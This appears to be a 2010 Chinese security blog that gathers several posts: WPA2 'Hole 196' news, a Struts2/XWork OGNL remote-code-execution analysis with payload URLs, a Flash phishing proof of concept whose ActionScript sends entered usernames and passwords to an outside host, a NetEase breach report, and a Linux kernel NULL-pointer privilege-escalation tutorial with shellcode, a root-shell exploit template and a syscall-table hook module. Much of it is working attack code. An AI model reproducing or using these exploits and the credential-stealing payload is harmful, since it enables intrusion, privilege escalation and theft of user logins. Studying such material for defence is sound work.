Hack Eye!

WPA2协议爆漏洞：或从内部遭受攻击

Neeao — Sun, 25 Jul 2010 10:40:50 +0800

WPA2协议爆出0day漏洞，“漏洞196”意味着内部恶意用户可以伪造数据包危害无线局域网。无线安全研究者称发现了迄今最强的加密验证标准 –WPA2安全协议的漏洞，该漏洞可能会被网络内部的恶意用户利用。来自AirTight Network无线网络安全公司的研究人员将其命名为“漏洞196”。这绰号来源则是IEEE 802.11标准（2007版）埋下漏洞的页码。

该公司表示，漏洞196会导致一个类似于中间人的攻击方式：凭借内部授权用户和开源软件，可以在半空中解密其他用户私密数据、注入恶意流量至网络、危害其它授权设备。发现该漏洞的研究人员称，由AES衍生出来的WPA2既没有被破解，也没有通过暴力手段而暴露此漏洞。标准里的条款，允许所有客户端使用一个普通共享密匙接收来自接入点的广播信号，当授权过的用户使用共享密匙传回利用组共享密匙加密的伪造数据包，漏洞便出现了。

根据IEEE 802.11标准第196页，WPA2使用两种密匙：

1、PTK（成对瞬时密钥），每个客户端唯一的，保护单点流量。
2、GTK（组临时密钥），保护网络内发送至多个客户端的数据。

PTKs可以检测地址欺骗和数据伪造。“GTKs无此属性”。便是这几个字暴露了漏洞。因为客户端拥有GTK协议以接收广播通信，所以用户可以利用GTK生成其设备自己的广播数据包，进而，客户端会发送自己私人密匙信息响应这MAC地址。研究人员使用了网上免费开源软件“MadWiFi”并修改了10行代码，和现成的随便什么无线网卡，伪造了接入点的MAC地址，当作网关向外传送信号。接收到广播信息的客户端将其视为网关并以PTK回应，而此PTK本应是私密的，此时则能被内部人破译。进而可以控制流量、发起拒绝服务攻击、或者嗅探。

AirTight公司表示，虽然此漏洞的利用仅限于授权用户，但多年的安全研究表明内部安全的缺口正在成为企业亏损的最大源头–机密数据的窃取与贩卖 –无论是哪个极度不爽的员工，或是间谍。尤其是这个网络高度发达的时代。而对于漏洞196，除了协议升级给这漏洞补一下，不然没辙。

新闻来源:networkworld.com

Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补

Neeao — Fri, 16 Jul 2010 18:20:38 +0800

By:Neeao

1.exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞，此漏洞危害之大，可谓百发百中，直接root，只要采用了Struts2和webwork框架的系统（对于webwork的版本，不太清楚，我这里没环境对其一一测试，这里有两者关系的介绍），基本上无一幸免。

2.昨天在接到朋友的提醒后，迅速将公司的一些使用此框架开发的项目漏洞修补了，我想大部分大公司的也在第一时间修补的差不多了，但是仍有很多公司，没有安全团队的，估计被黑了还被蒙在鼓里，感觉有必要在这里提醒下使用struts开发的朋友们，因为毕竟自己当初也做过java的开发。

3.漏洞成因在漏洞的poc中已经说的很详细了，但是都是英文的，而且对于Java不了解的人，可能会看得一头雾水，这里简单分析下，其实也是将原文粗略的翻译下了，对于其中名词不熟悉的请Google之：

Struts2的核心是使用的webwork框架，而webwork又是使用的XWork来处理 action的，并且通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数：

user.address.city=Bishkek&user['favoriteDrink']=kumys

ONGL将它转换为：

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。

除了支持参数的设置和读取，ONGL支持另外的一些功能：

调用方法：foo()
调用静态方法：@java.lang.System@exit(1)
类的调用：new MyClass()
处理上下文变量：#foo = new MyClass()

由于ONGL的调用可以通过http传参来执行，为了防止攻击者以此来调用任意方法，Xwork设置了两个参数来进行防护：

OgnlContext的属性 'xwork.MethodAccessor.denyMethodExecution'（默认为真）
SecurityMemberAccess私有字段'allowStaticMethodAccess'（默认为假）

为方便开发人员经常访问各种对象，XWork定义了很多预定义的上下文变量：

#application
#session
#request
#parameters
#attr

这些变量代表各种服务器变量。为了防止攻击者篡改服务器端对象，XWork的ParametersInterceptor是不允许参数名称中有#的，大约在一年前，漏洞发现者找到了一种方法来绕过这种保护（XW-641），即通过java的unicode字符串来表示：\u0023。当时感觉通过一种方法(OGNL value stack clearing)来修补是不够的，但是没有更多的时间来研究。

今年早些时候，漏洞发现者又发现了一些Xwork的一些预定义的变量：

#context – 这个方法的能否被调用是基于OgnlContext的 ‘xwork.MethodAccessor.denyMethodExecution’ 属性的值
#_memberAccess – SecurityMemberAccess的’allowStaticAccess’ 字段用来防止静态方法的执行
#root
#this
#_typeResolver
#_classResolver
#_traceEvaluations
#_lastEvaluation
#_keepLastEvaluation

使用XW-641所描述的方法，漏洞发现者通过修改一些值能够调用被保护的Java代码，并且执行任意的Java代码：

view source

print ?

`1`	`#_memberAccess['allowStaticMethodAccess'] =` `true`

`2`	`#foo =` `new` `java .lang.Boolean("false")`

`3`	`#context['xwork.MethodAccessor.denyMethodExecution'] = #foo`

`4`	`#rt =` `@java.lang.Runtime@getRuntime()`

`5`	`#rt.exec('mkdir /tmp/PWNED')`

事实证明通过构造http请求能够调用该OGNL的表达式。这个漏洞的PoC于2010年7月 12日发布。如果想测试你的应用程序是否有漏洞，可以使用下面的测试代码，将会调用:java.lang.Runtime.getRuntime().exit(1)

http://mydomain/MyStruts.action?(‘\u0023_memberAccess[\'allowStaticMethodAccess\']‘)(meh)=true&(aaa)((‘\u0023context[\'xwork.MethodAccessor.den

yMethodExecution\']\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=1

4.如何修补此漏洞：

目前官方已出了补丁：http://svn.apache.org/viewvc?view=revision&revision=956389

5.快写完了，发现绿盟也将这个漏洞中文说明也发出来了，不过标题是：XWork ParameterInterceptor类绕过安全限制漏洞

严格点说，这个应该是XWork的漏洞，谁让Struts2用的是人家的核心呢？：）。

hi.baidu.com Phishing With Flash

Neeao — Tue, 06 Jul 2010 22:48:27 +0800

Author: pz
Blog: http://hi.baidu.com/p__z
Team: http://www.80vul.com
date: 2010年7月6日

一 综述

百度空间在个人主页应用上传自定义的Flash模板,Flash显示在主页上的时,HTML容器的 allowNetworking=internal.
使得用户上传的flash可以和网络进行通信.再结合百度空间的CSS编辑,可以进行钓鱼攻击.

二 PoC

见http://hi.baidu.com/p__z

==phishing.fla==================================
stop();
// show once
var my_so:SharedObject = SharedObject.getLocal("cookie");
if (!my_so.data.isloaded) {
	my_so.data.isloaded = true;
	my_so.flush();
} else {
	clearAll();
}
var myformat:TextFormat = new TextFormat();
myformat.font = "宋体";
myformat.size = 13;
this.createTextField("username_txt", this.getNextHighestDepth(), 569, 139, 137, 22);
username_txt.border = false;
username_txt.type = "input";
username_txt.text = "";
username_txt.onChanged = function(textfield_txt:TextField) {
	username_txt.setTextFormat(myformat);
};
this.createTextField("password_txt", this.getNextHighestDepth(), 569, 171, 137, 22);
password_txt.border = false;
password_txt.type = "input";
password_txt.password = true;
password_txt.onChanged = function(textfield_txt:TextField) {
	password_txt.setTextFormat(myformat);
};
function clearAll() {
	username_txt.removeTextField();
	password_txt.removeTextField();
	_root.gotoAndStop(2);
}
submit.onPress = function() {
	var send_lv:LoadVars = new LoadVars();
	send_lv.un = username_txt.text;
	send_lv.pass = password_txt.text;
	send_lv.sendAndLoad("http://www.80vul.com/sobb/c.php", send_lv, "POST");
	clearAll();
};
b1.onPress = function() {
	clearAll();
};
b2.onPress = function() {
	clearAll();
};
b3.onPress = function() {
	clearAll();
};
============================================

==phishing.css==================================

/*用户状态导航条隐藏*/
html body center div#usrbar{
background-color:#F5C969!important;
}
html body center div#usrbar nobr{
background-color:#F5C969!important;
color:#F5C969!important;
}
html body center div#usrbar nobr span{
 display:none!important;
 }
html body center div#usrbar a,html body center div#usrbar a:link,html body center div#usrbar a:visited,html body center div#usrbar a:hover{
color:#F5C969!important;
}
/*设置embed大小*/
#sp_beautify_items_wrapper{border: 0pt none;z-index: 65530;position: absolute;  left: 0px; top: 0px;}
html body embed {
height:1300px;
width:1300px;
position:absolute;
left:0px;
top:0px;
}
html body object{
height:1300px;
width:1300px;
position:absolute;
left:-120px;
top:-400px;
}
/*模块"隐藏"去除*/
.sp-beautify-item-head {display:none;}
/*模块边框去除*/
.sp-beautify-item beautify-item-11 {height:0px;width:0px;}
============================================

三 补丁[fix]

等待官方补丁

今天下午网易4大邮箱系统被黑，官方已回应

Neeao — Sat, 03 Jul 2010 21:14:32 +0800

7月3日下午消息，今日有大量网友在各大论坛网站爆料称，网易所有的邮箱系统都被入侵。不过，黑客可能无意使邮箱瘫痪，而只是发出留言做了警告。

网友在论坛中反映，网易的 163邮箱、126邮箱、yeah和188邮箱等全都遭遇到了黑客的入侵，邮箱用户的个人信息很可能会泄露。

据网友截取的图片显示，黑客在网易邮箱服务器上留言文本都一个是hack.txt，文档中写着 “hacked by hacker just a joke”，意思是“黑客成功入侵，只是个玩笑。”

据网友分析，黑客该次攻击服务器可能窃取了用户隐私，也可能真的只是一个玩笑，并没有篡改服务器文件。

腾讯科技登录网易邮箱后发现，一直使用正常，未出现故障。截止发稿前，网易公司暂未对该事件做出回应。

下午17时，网易方面向腾讯科技发来声明，称事故是因负责静态页面文件更新工作的员工电脑被入侵，导致ftp账号密码泄露所致。目前，该事件对网易邮箱服务并未造成任何影响。

Exploit The Linux Kernel NULL Pointer Dereference

Neeao — Sun, 13 Jun 2010 17:47:17 +0800

目录：
1、引言
2、NULL Pointer是如何引发OOPS的
3、如何Exploit
4、攻击实验
5、NULL Pointer与Selinux的关系
6、如何防御NULL Pointer漏洞
7、附录
Author: wzt
Home: http://hi.baidu.com/wzt85
date: 2010/06/13
Version: 0.3

1、引言
在最近一系列的Linux kernel本地溢出漏洞中，大部分是由于内核引用一个空指针而引发的，看NULL Pointers的一个示例：
当内核代码引用一个空指针的时候，内核打印如下OOPS信息，并死机：

Kernel NULL pointer dereference test.
BUG: unable to handle kernel NULL pointer dereference at virtual address 00000000
printing eip:
00000000
*pde = 00000000
Oops: 0000 [#5]
SMP
Modules linked in: sys autofs4 ip_conntrack_netbios_ns ipt_REJECT xt_state ip_conntrack nfnetlink xt_tcpudp iptable_filter ip_tables x_tables dm_multipath video sbs i2c_ec button battery asus_acpi ac lp floppy i2c_piix4 i2c_core pcspkr parport_pc parport pcnet32 serio_raw mii ide_cd cdrom dm_snapshot dm_zero dm_mirror dm_mod ext3 jbd mbcache
CPU:    1
EIP:    0060:[<00000000>]    Not tainted VLI
EFLAGS: 00010286   (2.6.18 #34)
EIP is at _stext+0×3efffd6c/0×3c
eax: 00000029   ebx: f20c85c0   ecx: 00000046   edx: 00000000
esi: 004b5ca0   edi: f20c85c3   ebp: f1afd000   esp: f1afdf9c
ds: 007b   es: 007b   ss: 0068
Process test (pid: 3542, ti=f1afd000 task=dfc3ed70 task.ti=f1afd000)
Stack: f8a81197 f8a8131d f8a81315 00000002 f20c85c0 bfbedc2e bfbedc30 c1003d10
bfbedc2e 00000001 bfbedc2e 004b5ca0 bfbedc30 bfbebe38 ffffffda 0000007b
c100007b 0000003b 08048454 00000073 00000286 bfbebe24 0000007b 00000000
Call Trace:
[<f8a81197>] new_kernel_null_pointer_test+0×69/0×76 [sys]
[<c1003d10>] syscall_call+0×7/0xb
Code: Bad EIP value.
EIP: [<00000000>] _stext+0×3efffd6c/0×3c SS:ESP 0068:f1afdf9c

2、NULL Pointer是如何引发OOPS的

要想exploit这种bug，就必须先要了解内核是如何处理空指针引用的。
在程序的执行过程中，因为遇到某种障碍而使CPU无法最终访问到相应的物理内存单元，即无法完成从虚拟地址到物理地址映射的时候，
CPU 会产生一次缺页异常，从而进行相应的缺页异常处理。那么都在什么情况下会引发缺页异常呢，我们分别从用户空间和内核空间来看：

用户空间：
1、进程访问本身地址空间
—> 访问一个无效的内存地址（如mmap后，又unmap的一块内存）。
—> 由于用户堆栈用完导致的越界访问（用户进程堆栈空间已被用完，又有一次函数调用发生，这时push/pusha指令被写到进程的堆中。
—> 访问一个还未曾映射的空间。
2、进程访问其他进程空间
3、进程通过非系统调用方式访问内核空间。

内核空间：
1、中断程序，不可延迟程序，临界区代码访问用户空间（可能引起休眠）。
2、内核线程访问访问用户空间。（内核线程不能访问用户空间）。
3、内核访问用户空间（通过系统调用进入内核，有进程的上下文current)
—> 访问当前进程空间。内核写一个只读的内存。
—> 访问其他进程空间。通过系统调用的参数传递到内核空间的，但是线性地址不属于当前进程。
—> 内核bug或硬件错误访问一个用户空间地址。如空指针引用bug。
4、访问内核空间。试图写一个没被映射的内核地址。

引起缺页异常可以在用户空间和内核空间中触发，当CPU捕获到这个异常的时候就会引发一次缺页异常中断。由do_page_fault()函数来
判断和处理这些异常。我们看下内核是怎么处理引用NULL pointer这个异常的：

fastcall void __kprobes do_page_fault(struct pt_regs *regs,
unsigned long error_code)
{
struct task_struct *tsk;
struct mm_struct *mm;
struct vm_area_struct * vma;
unsigned long address;
unsigned long page;
int write, si_code;

/* 先通过cr2寄存器得到引发异常的那个线性地址 */
address = read_cr2();

tsk = current;

si_code = SEGV_MAPERR;

/* 接着判断一下这个线性地址是不是发生于内核空间 */
if (unlikely(address >= TASK_SIZE)) {
/* 如果是内核引用了一内核空间中一处无效地址，则通过vmalloc_fault进行修复 */
if (!(error_code & 0×0000000d) && vmalloc_fault(address) >= 0)
return;
if (notify_page_fault(DIE_PAGE_FAULT, “page fault”, regs, error_code, 14,
SIGSEGV) == NOTIFY_STOP)
return;
/* 如果不是继续跳转到bad_area_nosemaphore继续分析原因 */
goto bad_area_nosemaphore;
}

/* 以下用于处理线性地址处于用户空间的情况，注意内核和用户程序都有可能引用一个无效的用户地址 */
if (regs->eflags & (X86_EFLAGS_IF|VM_MASK))
local_irq_enable();

mm = tsk->mm;

/* 中断程序，不可延迟程序，临界区代码不能访问用户空间，跳到bad_area_nosemaphore继续分析原因 */
if (in_atomic() || !mm)
goto bad_area_nosemaphore;

if (!down_read_trylock(&mm->mmap_sem)) {
/* 内核访问用户空间, 通过系统调用的参数传递到内核空间的，但是线性地址不属于当前进程。*/
if ((error_code & 4) == 0 &&
!search_exception_tables(regs->eip))
goto bad_area_nosemaphore;
down_read(&mm->mmap_sem);
}
bad_area:
up_read(&mm->mmap_sem);

bad_area_nosemaphore:
/* User mode accesses just cause a SIGSEGV */
if (error_code & 4) {
/* 如果是用户进程访问了其他进程的空间，就杀死当前进程 */
if (is_prefetch(regs, address, error_code))
return;

tsk->thread.cr2 = address;
/* Kernel addresses are always protection faults */
tsk->thread.error_code = error_code | (address >= TASK_SIZE);
tsk->thread.trap_no = 14;
force_sig_info_fault(SIGSEGV, si_code, address, tsk);
return;
}

/* 如果是由于内核自己访问了用户空间的无效地址，则就会引发OOPS，
if (oops_may_print()) {
/* 如果这个地址小于PAGE_SIZE, 一般为4096字节，内核就认为这是一次空指针操作，开始打印OOPS信息，杀死当前进程 */
if (address < PAGE_SIZE)
printk(KERN_ALERT “BUG: unable to handle kernel NULL ”
“pointer dereference”);
else
printk(KERN_ALERT “BUG: unable to handle kernel paging”
” request”);
printk(” at virtual address %08lx\n”,address);
printk(KERN_ALERT ” printing eip:\n”);
printk(“%08lx\n”, regs->eip);
}
page = read_cr3();
page = ((unsigned long *) __va(page))[address >> 22];
if (oops_may_print())
printk(KERN_ALERT “*pde = %08lx\n”, page);

force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk);
}

3、如何Exploit
3-1、攻击原理。

在前面我们知道了内核是如何处理一个NULL pointer引用的： eip停止在0×0处，打印OOPS信息，然后死机。我们也知道对于黑客来讲
只有在普通权限下能触发的kernel null pointer漏洞才是有用的，可以帮助黑客有机会提升进程权限。OK，既然发生OOPS的时候eip停留在
内存0×0地址上，那么用户进程只要能把shellcode放置在内存0地址上，并且kernel可以去运行用户进程的shellcode而不崩溃，那么就达到了
提权权限的目的。

3-2、将代码映射到0地址内存。
Linux系统提供了一个系统调用mmap，可以通过建立匿名映射配合MAP_FIXED标志将用户空间代码映射到内存0地址。
mmap(0×0, 0×1000, PROT_READ | PROT_WRITE| PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
我们看看内核是怎么实现的：
asmlinkage long sys_mmap2(unsigned long addr, unsigned long len,
unsigned long prot, unsigned long flags,
unsigned long fd, unsigned long pgoff)
{
int error = -EBADF;
struct file *file = NULL;
struct mm_struct *mm = current->mm;

flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);
/* 注意到如果没设置MAP_ANONYMOUS属性，就要根据fd来获得文件file指针，攻击程序设置了MAP_ANONYMOUS，并把fd,offset都设为0
来建立一次匿名映射 */
if (!(flags & MAP_ANONYMOUS)) {
file = fget(fd);
if (!file)
goto out;
}

down_write(&mm->mmap_sem);
/* do_mmap_pgoff才是映射的主体 */
error = do_mmap_pgoff(file, addr, len, prot, flags, pgoff);
up_write(&mm->mmap_sem);

if (file)
fput(file);
out:
return error;
}

我们从此处只关心建立匿名映射的过程：
unsigned long do_mmap_pgoff(struct file * file, unsigned long addr,
unsigned long len, unsigned long prot,
unsigned long flags, unsigned long pgoff)
{
…
/* 用来验证和找到一个可以映射参数addr的内存地址 */
addr = get_unmapped_area_prot(file, addr, len, pgoff, flags, prot & PROT_EXEC);
…
}

get_unmapped_area_prot(struct file *file, unsigned long addr, unsigned long len,
unsigned long pgoff, unsigned long flags, int exec)
{
…
/* 如果没设置MAP_FIXED选项，就要从进程地址1G以上的空间中选取一块未用内存进行映射 */
if (!(flags & MAP_FIXED)) {
unsigned long (*get_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);

if (exec && current->mm->get_unmapped_exec_area)
get_area = current->mm->get_unmapped_exec_area;
else
get_area = current->mm->get_unmapped_area;

if (file && file->f_op && file->f_op->get_unmapped_area)
get_area = file->f_op->get_unmapped_area;
addr = get_area(file, addr, len, pgoff, flags);
if (IS_ERR_VALUE(addr))
return addr;
}
…
}
所以通过以上对内核代码的分析，我们可以用MAP_ANONYMOUS和MAP_FIXED参数来把用户代码映射到0内存处。

3-3、内核为什么可以运行用户空间映射来的代码

0地址上的代码是由用户自己通过mmap映射的，当用户进程去触发这个kernel bug的时候，是通过系统调用进入内核空间，内核通过进程上下文current
代表进程继续执行，当eip执行到了一个0×0地址时，它开始执行用户空间映射过来的代码，由于有进程上下文，又是在内核态，所以可以修改当前
进程的任何信息包括内核其他代码。

3-4、如何写shellcode
我们最主要的目的是当内核引用一个NULL Pointer的时候去执行我们的shellcode, 此时是内核来执行shellcode, 所以shellcode可以修改当前
进程current的uid, gid字段使其变为0，从而使当前进程获得root权限，然后在系统调用完成返回用户空间的时候执行一个bash, 来获得可爱的#字符。
在用mmap完成映射的时候，要将shellcode放置在内存0×0处：
*(char *)0 = ‘\x90′;
*(char *)1 = ‘\xe9′;
*(unsigned long *)2 = (unsigned long)&kernel_code – 6;

即为：NOP+JMP+KERNEL_CODE。 *(unsigned long *)2为什么要设置为kernel_code – 6呢？
jmp指令后面跟的是偏移地址，为kernel_code减去jmp指令的下一条指令的地址。由于是从0×0地址开始算偏移的nop, jmp本身各占一个字节，在加上
偏移地址占用的4个字节， 1+1+4 = 6。
kernel_code才是真正的shellcode, 我们的目的是修改current的uid,gid为0，所以可以在获得current指针后，暴力搜索current结构，匹配
用户进程的uid和gid，发现后将其改为0，即可。

struct task_struct {
……
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
……
}

void kernel_code()
{
int i;
uint *p = get_current(); // 获得当前进程的current指针。

for (i = 0; i < 1024-13; i++) {
/* 暴力搜索uid, euid,suid,fsuid, gid, egid, sgid,fsgid */
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid &&
p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
// 重新更新堆栈中寄存器值。替内核执行iret指令，结束系统调用返回用户空间。
exit_kernel();
}

// 获得当前内核的current指针, 跟内核的实现方式一样
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
“movl %%esp, %%eax ;”
“andl %1, %%eax ;”
“movl (%%eax), %0″
: “=r” (curr)
: “i” (~8191)
);
return (void *) curr;
}

// 当发生系统调用中断的时候，还没进入系统调用服务历程的时候，CPU是自动把user cs, ip, cflags, user ess, xx压入内核堆栈，
当执行iret返回用户空间的时候将其pop出来，使得用户程序得以继续运行。exit_kernel要做的就是修改当前堆栈，重新设置用户空间的
cs值为用户空间的值， eip值为exit_code, 当内核回到用户空间的时候就会去执行exit_code, exit_code通常只要执行一个bash即可。
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
“movl %0, 0×10(%%esp) ;”
“movl %1, 0×0c(%%esp) ;”
“movl %2, 0×08(%%esp) ;”
“movl %3, 0×04(%%esp) ;”
“movl %4, 0×00(%%esp) ;”
“iret”
: : “i” (USER_SS), “r” (STACK(exit_stack)), “i” (USER_FL),
“i” (USER_CS), “r” (exit_code)
);
}

注意内核执行完exit_kernel()函数后，当前进程就以从内核空间切回到用户空间了，此时进程已经具备uid为0的权限，我们的exploit程序
可以随意的调用c库中的任何函数了。
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, “failed\n”);
exit(-1);
}
printf(“[+] We are root!\n”);
execl(“/bin/sh”, “sh”, “-i”, NULL);
}

4、实验
在了解了攻击原理和怎样写shellcode后，我们开始做实验，验证下我们的想法是不是对的。这里我故意加载一个有NULL pointer引用的
内核模块，它给当前系统增加了一个系统调用，然后我们的用户程序引用这个系统调用的时候，就会发生一次OOPS：

void (*test)(void) = NULL;

asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
{
char *buff = NULL;
char *p = NULL;

buff = (char *)kmalloc(len + 1, GFP_KERNEL);
if (!buff) {
printk(“kmalloc failed.\n”);
return 0;
}

if (copy_from_user(buff, buf, len)) {
printk(“copy data from user failed.\n”);
return 0;
}
buff[len + 1] = ‘\0′;
printk(“%d: %s\n”, strlen(buff), buff);

printk(“Kernel NULL pointer dereference test.\n”);
test();

return 1;
}

先装入模块
[root@localhost test]# insmod /root/exploit/module/sys.ko
然后运行exploit程序：
int main(void) {
void *page;

uid = getuid();
gid = getgid();

setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0×0, 0×1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
perror(“mmap”);
return -1;
}
} else {
if (mprotect(0×0, 0×1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
perror(“mprotect”);
return -1;
}
}
printf(“[+] Mmap zero memory ok.\n”);

*(char *)0 = ‘\x90′;
*(char *)1 = ‘\xe9′;
*(unsigned long *)2 = (unsigned long)&kernel_code – 6;

new_kernel_null_pointer_test(“abcd”, 4);
}
[wzt@localhost ~]$./exp
[+] Mmap zero memory ok.
[+] We are root!
sh-3.2#
看到可爱的#号了吧，我们成功了！

5、NULL Pointer与Selinux的关系
略过

6、如何防御Kernel NULL Pointer 0day攻击
/proc/sys/vm/mmap_min_addr设置为大于4096的值或者关闭selinux.

7. 附录
7-1. hook examle
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/siginfo.h>

#include “hook.h”

unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;
spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;

asmlinkage int (*orig_printk)(const char *fmt, …);
void (*test)(void) = NULL;

unsigned int get_sct_addr(void)
{
int i = 0, ret = 0;

for (; i < 500; i++) {
if ((*(unsigned char*)(system_call_addr + i) == 0xff)
&& (*(unsigned char *)(system_call_addr + i + 1) == 0×14)
&& (*(unsigned char *)(system_call_addr + i + 2) == 0×85)) {
ret = *(unsigned int *)(system_call_addr + i + 3);
break;
}
}

return ret;
}

asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
{
char *buff = NULL;
char *p = NULL;

buff = (char *)kmalloc(len + 1, GFP_KERNEL);
if (!buff) {
printk(“kmalloc failed.\n”);
return 0;
}

if (copy_from_user(buff, buf, len)) {
printk(“copy data from user failed.\n”);
return 0;
}
buff[len + 1] = ‘\0′;
printk(“%d: %s\n”, strlen(buff), buff);

printk(“Kernel NULL pointer dereference test.\n”);
test();

return 1;
}

static int hook_init(void)
{
struct descriptor_idt *pIdt80;

__asm__ volatile (“sidt %0″: “=m” (idt48));

pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0×80);

system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
if (!system_call_addr) {
DbgPrint(“oh, shit! can’t find system_call address.\n”);
return 0;
}
DbgPrint(KERN_ALERT “system_call addr : 0x%8x\n”,system_call_addr);

sys_call_table_addr = get_sct_addr();
if (!sys_call_table_addr) {
DbgPrint(“oh, shit! can’t find sys_call_table address.\n”);
return 0;
}
DbgPrint(KERN_ALERT “sys_call_table addr : 0x%8x\n”,sys_call_table_addr);

sys_call_table = (void **)sys_call_table_addr;

lock_kernel();
CLEAR_CR0
sys_call_table[59] = new_kernel_null_pointer_test;
SET_CR0
unlock_kernel();

printk(“install hook ok.\n”);
}

static void hook_exit(void)
{
lock_kernel();
CLEAR_CR0

SET_CR0
unlock_kernel();

DbgPrint(“uninstall hook ok.\n”);
}

module_init(hook_init);
module_exit(hook_exit);

MODULE_LICENSE(“GPL”);
MODULE_AUTHOR(“wzt”);

7-2. kernel null pointer攻击模板。
#include <stdio.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>
#include “syscalls.h”

static unsigned int uid, gid;

#define USER_CS 0×73
#define USER_SS 0×7b
#define USER_FL 0×246
#define STACK(x) (x + sizeof(x) – 40)

void exit_code();
char exit_stack[1024 * 1024];

int (*kernel_printk)(const char *fmt, …);

#define __NR_new_kernel_null_pointer_test 59

static inline my_syscall2(long, new_kernel_null_pointer_test, char *, buff, int, len);
int errno;

static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
“movl %%esp, %%eax ;”
“andl %1, %%eax ;”
“movl (%%eax), %0″
: “=r” (curr)
: “i” (~8191)
);
return (void *) curr;
}

static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
“movl %0, 0×10(%%esp) ;”
“movl %1, 0×0c(%%esp) ;”
“movl %2, 0×08(%%esp) ;”
“movl %3, 0×04(%%esp) ;”
“movl %4, 0×00(%%esp) ;”
“iret”
: : “i” (USER_SS), “r” (STACK(exit_stack)), “i” (USER_FL),
“i” (USER_CS), “r” (exit_code)
);
}

void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}

exit_kernel();
}

void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, “failed\n”);
exit(-1);
}
printf(“[+] We are root!\n”);
execl(“/bin/sh”, “sh”, “-i”, NULL);
}

void test_code(void)
{
kernel_printk = 0xc0424ae3;

kernel_printk(“We are in kernel.\n”);
}

int main(void) {
void *page;

uid = getuid();
gid = getgid();

setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0×0, 0×1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
perror(“mmap”);
return -1;
}
} else {
//if (mprotect(0×0, 0×1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
if (mprotect(0×0, 0×1000, PROT_READ | PROT_WRITE ) < 0) {
perror(“mprotect”);
return -1;
}
}
printf(“[+] Mmap zero memory ok.\n”);

*(char *)0 = ‘\x90′;
*(char *)1 = ‘\xe9′;
*(unsigned long *)2 = (unsigned long)&kernel_code – 6;

new_kernel_null_pointer_test(“abcd”, 4);
}

风讯网站管理系统API_Response.asp页面存在越权漏洞

Neeao — Sun, 13 Jun 2010 09:20:11 +0800

这个漏洞在2006年的时候都发布漏洞警告了，现在黑板说公开了，^_^。

系统编号:
WAVDB-01650

影响版本:
FooSun > 5.0

程序介绍:

FoosunCMS是一款具有强大的功能的基于ASP+ACCESS/MSSQL构架的内容管理软件。

漏洞分析:

在文件\API\ API_Response.asp中：

If Request.QueryString<>”" Then //第16行

SaveUserCookie()

Else

Set XmlDoc = Server.CreateObject(“msxml2.FreeThreadedDOMDocument” & MsxmlVersion)

XmlDoc.ASYNC = False

If Not XmlDoc.LOAD(Request) Then

Status = 1

Messenge = “数据非法，操作中止！”

appid = “未知”

Else

If Not (XmlDoc.documentElement.selectSingleNode(“userip”) is nothing) Then

UserTrueIP = XmlDoc.documentElement.selectSingleNode(“userip”).text

End If

If CheckPost() Then

